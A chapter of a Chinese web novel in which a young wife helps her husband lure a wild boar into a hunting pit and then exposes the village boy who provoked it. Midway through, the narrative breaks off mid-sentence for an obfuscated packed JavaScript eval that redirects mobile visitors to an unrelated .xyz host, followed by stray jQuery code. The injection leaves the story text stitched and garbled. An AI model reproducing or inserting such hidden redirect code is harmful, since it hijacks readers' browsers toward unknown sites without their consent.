林中树多,秋妧寻了一个好爬的树,先让宗安吉将怀雪送了上去。
至于三蛋,秋妧也为他找了个地方藏身,这孩子虽跟着那群人一块玩,但本性不坏,至少那日是他下水救了自己。
秋妧看着他,心中不由的想,难道这就是天惩?
让那些作恶旁观的人受到惩罚?
“你...你是虎子的姐姐吗?”三蛋仰脸看着她,怯声问。
“嗯。”秋妧把一根撅断的树枝递给他,叮嘱道:“别从树上下来,老实待着。”
三蛋明显想同她说说话,可见她生人勿靠的模样,他又止了声。
宗安吉见秋妧迟迟不过来,焦急的很,他不敢大声喊,可又怕秋妧听不见。
“二嫂,快上树。”
秋妧折返回那棵树下,但她并未往上爬。
这里有宗安吉守着定然不会出什么事,秋妧不放心的是宗骁。
那个老好人,若为了救那几个坏心眼的孩子,自己受了伤可怎么办。
“我去看看你二哥,你在这看好怀雪。”秋妧捡起地上鱼叉,掂了掂觉得倒是趁手。
宗安吉一下子慌了,他恨不得现在跳下树,“二嫂,你别过去,这山里的野猪大的很,撞人身上半条命都去了。”
秋妧自然明白这些,但她又不是傻子,怎么可能任由野猪撞过来。
再说她手上有鱼叉,过去也能帮个忙。
“你且放心。”秋妧向他保证道,“我和你二哥定平安回来,你别下来,照顾好怀雪。”
秋妧说完,不等宗安吉再劝,转身就往山下跑去,独留一个背影。
深山高树遮天蔽日,现在日头逐渐下去,整个林子都暗的很。
好在这条溪流通山下,秋妧沿着溪流走,倒是不会迷路。
她走了没一会儿,一股血腥味扑面而来。
真的有人受了伤...秋妧紧紧握着鱼叉不敢有一丝懈怠。她放慢脚步每挪动一下都要看看四周。
“救...我。”一道极小的声音传入她耳中。
秋妧循声走了过去,只见一棵大树后,一个浑身是血的男娃正费力的喘着气。
血从他腿间不断流出,像是伤了筋脉。
秋妧做不到袖手旁观,她用鱼叉划破那人衣衫,把布系在一起,死死绑住他流血的腿。
她不是郎中,也不会医术,如今能做的只有这些。若是他命大,能活下来便是他的本事。
“你等着,我去叫郎中,其他人你可看见了?那野猪呢?”秋妧拍了拍他的脸,想要让他清醒一些。
受伤的男娃叫二牛,他费力的抬起手指了指下面方向,“都往山下跑了。那野猪...”
“野猪怎么了?”
二牛喘息片刻,道:“那野猪的崽被勇子杀了,野猪一直追他,下面危险,别去。”
秋妧没想到还有这么一出,她安抚道:“你好好在这待着,别挪地方。”
二牛拽住她的衣摆,眼眶含泪,“别扔下我。”
秋妧掰开他的手指,一字一顿道:“不是扔下你,是去找郎中,你受伤太重了,坚持住别睡。”
秋妧没再瞧他,拿起鱼叉继续往山下走。
这一路她看见地上不少的血,还有被这群孩子抛下的鱼,可唯独没看见宗骁和那头野猪。
人都去了哪里?
此时,离秋妧半里地的丛中,一头野猪正蓄势待发。
它瞄上了那个杀死它崽子的男娃,这次它就是来寻仇的。
“去树上。”宗骁警惕的看向丛中,对那男娃道,“别出声,小心点,它还在。”
勇子早就丢了魂,他亲眼目睹自己同伴被野猪撞飞,鲜血流了一地。
“别墨迹,快上树。”宗骁已经察觉到了危险,那头野猪似乎要动了。
那么大的一头野猪,他手中鱼叉根本不可能杀死它,偏偏他今日又没带弯弓。
“我爬不上去。”勇子吓的尿了裤子,让他自个往树上爬那根本不可能。
就在宗骁想要帮他上树时,那头野猪终于安耐不住,一整个冲了过来。
上不去了。宗骁想要拿起鱼叉同野猪肉搏。
可偏偏这时,那胆小的勇子却用力夺过他的鱼叉,飞快的往一旁跑去。
“你。”宗骁没想到这孩子会做出这种事,可现在一切都来不及了,他只能用灵活身手甩开野猪。
秋妧来时正巧看见这一幕,她气的恨不得把勇子推到野猪跟前。
可现在不是犯糊涂的时候,她来时就看好了路,离这不足五十米的地正好有一个猎坑,只要把野猪引诱到那处,他们几人就有活路。
秋妧一不做二不休,直接往野猪身上扔了块石头,虽没投中,但却吸引了野猪的注意力。
宗骁趁此得了机会,他快速往秋妧这边跑来,气道:“你怎么来了。”
“往西南方向跑,我做诱饵,你在后面把它赶到坑里。”秋妧把手中鱼叉给他,旁的话根本来不及多说。
他们二人为了引开野猪,弄出了极大的动静,好在功夫没有白费,野猪被他们二人弄得正在气头上,不管不顾的就追了上来。
秋妧使出了这辈子的劲,她飞快的往前跑,引着野猪去坑的方向。
而宗骁则拿着鱼叉跟在她身后,一边保护着她不被野猪伤着,一边让野猪一刻不停地跟着跑。
秋妧瞧见了那个被枝叶遮盖住的坑,只要她在最后关头让野猪冲过来就可以。
偏偏她往哪跑野猪就跟着往哪追,她改一点路线野猪也跟着改,没办法她只能放慢步子在最后关头等着野猪撞过来。
“秋妧。”宗骁瞧出她的动作,可惜一切都来不及了,他根本扑不过去。
只听“噗通”一声,巨大的野猪直接坠入坑中。
秋妧长吁一口气,她趴在坑边往下面看了看,原以为野猪会被下面竹子刺死,没想到它竟只受了一点伤,此刻正抬眼往上看。
猪抬眼看人,那是要吃人。秋妧猛地想起这句话,浑身打了个哆嗦。
“没事了。”宗骁从后面直接揽住她,抬手护住她的眼睛,心疼道:“你怎么这么不要命,万一没躲过去,你就跟着下去了。”
宗骁是生气的,可一瞧见秋妧,那些脾气哪还发的出来,他只一个劲的庆幸,还好她没事。
秋妧拍了拍他的手,安抚道:“我都算好了,这野猪聪明若是我往旁边挪的太明显,它肯定不会掉下去。”
秋妧扭过身,用手戳了戳他的脑门,训道:“你还说我,刚刚那兔崽子不管你生死,夺走鱼叉,你差点就跟着去了。”
“过去看看,我非得打死那兔崽子不可。”秋妧怒气冲冲,起身拽着宗骁就往刚刚的林子走去。
谁料有人比他们来的更早,唯一跑下山的孩子已经叫了大人和郎中上来,一群人正抱在一块哭。
“你这孩子,你要气死娘不成,这地你也敢来。”勇子他娘狠狠在他身上打了两巴掌,边打边哭。
“娘,你看我这不是没事吗?我好着呢。”勇子话还没说完,秋妧的巴掌就已经落在了他脸上。
勇子他娘
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16004499|177359||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
骂道:“你这泼妇,打我儿做啥。”
秋妧根本不听,上去又是两巴掌,“他做了什么好事他心里清楚。”
秋妧本意是想说宗骁救他却被他害的事,不曾想她还没说出口,另外一个受了轻伤的孩子却站出来指着勇子道:“就是勇子,他故意把彪哥和二牛往野猪身上推,二牛被野猪撞的全身都是血。彪哥他...。”
“什么?”周围大人纷纷看了过来。
刚刚彪哥失血过多已经晕了过去,人能不能活还两说,现在看见罪魁祸首站在那哭可怜,彪哥的家人怎么可能不气。
“你这混球,我家彪哥往日怎么对你,你怎么敢的。”彪哥他哥直接一脚踹到勇子身上,把人踹倒在地,一连三下,只听咔吧一声,勇子的腿直接被踹断了。
二牛家就来了他娘一人,此刻正抱着二牛哭,哪有功夫管旁的。
至于其他人,都在庆幸,还好自家孩子没事。
突然,人群中不知谁反应过来,孩子们都找到了,那野猪呢?
“姑娘,你们可遇见野猪了?那野猪?”
秋妧冷笑一声,“若不是我夫君过来救人,他们几个都得没命。与其问野猪在哪,不如好好问问他们,那野猪怎么来的。”
“你这话啥子意思,深山有野猪那不是很正常的事。”
秋妧扫了那人一眼,淡淡道:“有野猪是正常,可野猪非要追着一个人跑,那就不正常。”
“这?”
“我知道。”三蛋跟着宗安吉从山上慢慢走下来,他指着勇子道:“前些日子勇子掏了一只小猪仔,就在这溪边烤了。”
怪不得!怪不得那野猪非要伤人,原来是他干的好事!
“二哥,二嫂。”宗安吉抱着怀雪跑过来,那么大的人了竟还落了泪。
“哭什么。”宗骁嫌弃的给他擦去泪,“我们没事。”
宗安吉:“那野猪呢,可死了?”
周围人纷纷看过来,也是那么大一头野猪就算死了应该也在附近,咋他们都没瞧见。
秋妧先一步开口:“你二哥把它弄到猎坑去了,还活着呢,一会儿杀了抬回咱们家。”
秋妧故意把话说死,她深知村里人有多贪心,那么大一头野猪这些人肯定想分一杯羹。
可凭啥呢,那野猪是他们弄进去的,她才不会拿出来给他们。
“姑娘,那野猪咋就弄你家去,那应该咱们大伙一起分。”
“就是。”
如秋妧所料,这些人里有不少开始惦记起野猪来。
秋妧心中本就有气,说话更是不留情面,她讥讽道:“给你们?那野猪可是你们抓的?不是你们抓的惦记什么?若是真想要,自个去山里抓去,我看你们有没有命活着回来。”
刚刚说话的几人一瞬间哑了声,让他们抓野猪...怎么可能。
“可那野猪...”有人不死心道。
“狗子,做人要有良心,若不是他们引开野猪,娃们伤的只会更重,那野猪就应该是他们的。”彪哥他哥站出来,对着宗骁和秋妧一拜,谢道:“今个多谢两位,一会儿我让大家帮着把野猪给你们抬回家,二位放心,这野猪我们不会沾。”
“还好有明白人。”秋妧扫视众人,开口道:“今个祸事如何而来,想必大家都清楚了,冤有头债有主,各位还是不要在这瞎耽搁功夫。”
秋妧意有所指,众人也跟着把话题从野猪挪到勇子身上。
宗骁愣愣的看着她,这还是第一次,他见到这样的秋妧。
果敢,睿智又凛冽。